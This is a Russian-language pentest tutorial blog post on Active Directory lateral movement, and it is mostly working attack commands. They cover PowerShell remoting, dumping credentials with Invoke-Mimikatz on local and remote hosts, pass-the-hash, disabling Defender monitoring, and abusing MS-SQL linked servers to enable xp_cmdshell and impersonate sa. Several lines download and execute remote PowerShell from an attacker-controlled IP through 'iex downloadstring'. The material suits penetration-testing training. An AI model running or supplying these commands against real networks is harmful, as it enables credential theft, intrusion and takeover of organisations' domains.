Active Directory - Lateral Movement​

Active Directory - Lateral Movement​

SecDet Samurai

Active Directory - Lateral Movement​

📌 Начните с первой статьей этой серии, если вы этого еще не сделали, в которой объясняются основные принципы и понятия Active Directory.

Это руководство объясняет основные моменты бокового перемещения Active-Directory с помощью команд PowerShell, Inkove-Mimikats и MS-SQL. Я также объясню те термины, которые каждый пентестер должен знать, чтобы понять атаки, выполненные в Active Directory.

На протяжении всей статьи я буду использовать PowerView ,  Invoke-Mimikatz и PowerUpSQL.psd1 при выполнении бокового перемещения в Windows/Active Directory Environment. Если потребуются какие-либо другие инструменты, они будут упомянуты непосредственно по их использованию.


Что такое боковое перемещение​

Боковое перемещение — это когда злоумышленник использует свои текущие права доступа для движения в окружающей среде. Повышение привилегий же, которое я уже объяснял, дает расширенные права доступа. Злоумышленники объединяют эти две тактики для достижения своей конечной цели кражи данных или нанесение иного ущерба вашей организации.


Удаленное взаимодействие PowerShell​

  • Думайте об этом как о psexec на стероидах.
  • Вы обнаружите, что это все чаще используется на предприятиях. Включено по умолчанию в Server 2012 и более поздних версиях.
  • Возможно, вам потребуется включить удаленное взаимодействие (Enable-PSRemoting) на настольном компьютере с Windows, для этого требуются права администратора.
  • Вы получаете повышенную оболочку в удаленной системе, если для аутентификации используются учетные данные администратора (что является настройкой по умолчанию).
По умолчанию включение удаленного взаимодействия PowerShell включает слушателя http и https. Слушатели работают на портах по умолчанию 5985 для http и 5986 для https .


Сеансы Powershell​

В приведенной ниже таблице, вы можете получить краткое представление о работе и использование команд которые мы будем использовать для выполнения атак.

Использовать Credential параметр для передачи имени пользователя/пароля

$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<computer-name>", $pass)


Enter/New-PSSession Remoting (создание и управление новой сессией)​

  • Подключение к PS-Session удаленного пользователя​
Enter-PSSession -Computername <computer-name>
  • Выполнение команд Stateful с помощью Enter-PSSession​
$sess = New-PSSession -Computername <computer-name>
Enter-PSSession -Session $sess

[scorp.star.light.local]:PS> $proc = Get-Process
[scorp.star.light.local]:PS> exit

Enter-PSSession -Session $sess

[scorp.star.light.local]:PS> proc
Will list current process


Invoke-Command​

  • Выполнение команд Stateful с помощью Invoke-Command​
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
Invoke-Command -Session $sess -ScriptBlock {$proc.Name}
  • Показать разрешенные команды, которые мы можем выполнять на удаленной машине​
# скопируйте фрагмент команды с необходимыми параметрами
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -command {get-command}
  • Запишите файл с помощью ScriptBlock​
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
  • Отредактируйте файл с помощью ScriptBlock​
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here}
  • Выполнение команды с помощью command и ScriptBlock​
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {whoami}
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -ScriptBlock {whoami}
Invoke-Command -computername <computer-name> -command {whoami}
Invoke-Command -computername <computer-name> -ScriptBlock {whoami}
  • Выполнение файла с помощью ScriptBlock​
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -ScriptBlock{"C:\temp\mimikatz.exe"}
  • Выполнение файла с использованием FilePath​
Invoke-Command -computername <computer-name> -FilePath "C:\temp\mimikatz.exe"
  • Языковой режим​
-computername <computer-name> -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}

Если значение LanguageMode равно Constrained , то будет разрешено выполнение только встроенных команд


Выполнение локально загруженной функции на удаленных машинах ​

Пример: Hello.ps1

function hello {
Write-Output "Hello from the function"
}
  • Теперь мы можем загрузить функцию на нашу машину​
. .\Hello.ps1
  • Теперь мы можем выполнять локально загруженные функции​
Invoke-Command -ScriptBlock ${function:hello} -ComputerName <computer-name>
  • В данном случае мы передаем аргументы. Имейте в виду, что таким образом можно передавать только позиционные аргументы.​
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list of servers>) -
ArgumentList
  • Непосредственно загружать функции на удаленные машины, используя FilePath​
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -FilePath "C:\temp\hello.ps1" -Session $sess
Enter-PSSession -Session $sess

[scorp.star.light.local]:PS> hello
Hello from the function

Invoke-Mimikatz​

  • Скрипты можно использовать для сброса учетных данных, тикетов и многого другого, используя mimikatz с помощью PowerShell, не сбрасывая исполняемый файл mimikatz на диск.
  • Это очень полезно для передачи и воспроизведения хэшей, билетов и многих захватывающих атак Active Directory.
  • С использованием код из ReflectivePEInjection, mimikatz загружается рефлективно в память. Все функции mimikatz можно использовать из этого сценарий.
  • Сценарию нужны права администратора для дампа учетные данные с локальной машины. Многие атаки требуют определенных привилегий которые рассматриваются при обсуждении этой атаки.
  1. Сброс учетных данных на локальный компьютер​
Invoke-Mimikatz -DumpCreds

2. Дамп учетных данных на нескольких удаленных машинах​

Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")

Для этого Invoke-Mimikatz использует команду PowerShell remoting Invoke-Command.

3. «Передача хэша» — генерация токенов из хэшей​

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'

4. Создайте новую сессию и выгрузите хэши​

# Создайте сессию для удаленного доступа
$sess = New-PSSession -ComputerName <computer-name>

# Обход AMSI
Invoke-Command -ScriptBlock {Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; whoami} -Session $sess

# Локальная загрузка mimikatz в вашей систему
Import-Module .\Invoke-Mimikatz.ps1

# Выполнение локально загруженных функций в вашей системе
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz -command '"sekurlsa::logonpasswords"'} -Session $sess


Перечисление MS-SQL — часть 1 ​

  • Серверы MS-SQL обычно развернуты в большом количестве в домене Windows.
  • Серверы SQL предоставляют очень хорошие возможности для горизонтального перемещения, поскольку пользователи домена могут быть сопоставлены с ролями базы данных.

Для импорта скрипта используйте следующую команду:

Import-Module .\PowerUpSQL.psd1

Методология

1. Проверьте имена участников-служб

2. Проверьте, к каким SPN у вас есть доступ

3. Проверьте имеющиеся у вас привилегии для указанных выше отфильтрованных SPN.

4. Обратите внимание на Instance-Name , ServicePrincipalName и DomainAccount-Name.

5. Если вы найдете какой-либо сервис с более высокими привилегиями , продолжайте использовать его.


Перечисление PowerUpSQL​

1. Перечислить SPN​

Get-SQLInstanceDomain

2. Проверьте доступ​

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

3. Проверить привилегии/собрать информацию​

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

4. Проверьте права на олицетворение (дополнительно)​

Invoke-SQLAudit -Verbose -Instance <instanceName>


Использование MS-SQL — часть 2 ​

  • Ссылка на базу данных позволяет SQL Server получать доступ к внешним источникам данных, таким как другие SQL Server и источники данных OLE DB.
  • В случае связей базы данных между SQL-серверами, то есть наличие связанных SQL-серверов, можно выполнять хранимые процедуры.
  • Связи с базами данных работают даже между лесными трастами.

Выполнение команд на целевом сервере​:

  • На целевом сервере должен быть уже включен xp_cmdshell; или
  • Если rpcout включен (отключен по умолчанию), xp_cmdshell можно включить с помощью:
EXECUTE('sp_configure ''xp_cmdshell'',1;   reconfigure;') AT "eu-sql"
  • Если rpcout отключен, но у нас есть sa , его можно включить с помощью
EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';


Методология

1. Проверьте ссылку SQL Server

2. Обратите внимание, есть ли у вас ссылка на любую другую базу данных в DatabaseLinkName

3. Если SysAdmin:0 означает, что нам не разрешат включить xp_cmdshell

4. Продолжайте перечислять и проверять все связанные базы данных, к которым у вас есть доступ.

5. Теперь мы можем попробовать выполнить команды во всех найденных связанных базах данных


PowerUpSQL - Злоупотребление привилегиями ​

1. Перечислить ссылки SQL Server​

Get-SQLServerLink -Instance <instanceName> -Verbose
select * from master..sysservers

2. Перечислить ссылки на БД​

Get-SQLServerLinkCrawl -Instance dcorp-mysql -Verbose
select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from master..sysservers'')')

3. Выполнение команд на целевом сервере​

Get-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell 'whoami'" | ft


Дополнительные команды ​

1. Загрузите файл на целевой сервер​

Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://IP:8080/Invoke-HelloWorld.ps1'',''C:\Windows\Temp\Invoke-HelloWorld.ps1'')"'

2. Выдавать себя за пользователя​

Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose

#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'
Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"

3. Базовые запросы SQL Server для перечисления БД​

Также работает с Get-SQLServerLinkCrawl.
# просмотр всех баз данных в экземпляре
Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases"
# просмотр всех баз данных
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES" 
# просмотр всех столбцов во всех базах данных
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns"
# просмотр данных в таблице
Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM tableName"


Оставайтесь в курсе последних новостей в области кибербезопасности, станьте подписчиком нашего королевства и узнайте о новых методах защит и атак. Не забудьте прочитать и другие наши статьи, чтобы расширить свои знания и быть на шаг впереди потенциальных угроз.

📌https://t.me/secdet_team

📌https://t.me/secdet_team

📌https://t.me/secdet_team

Эти и другие статьи в нашем канале

Безопасность - это постоянный процесс, и каждый шаг, предпринятый в направлении ее улучшения, имеет значение


Report Page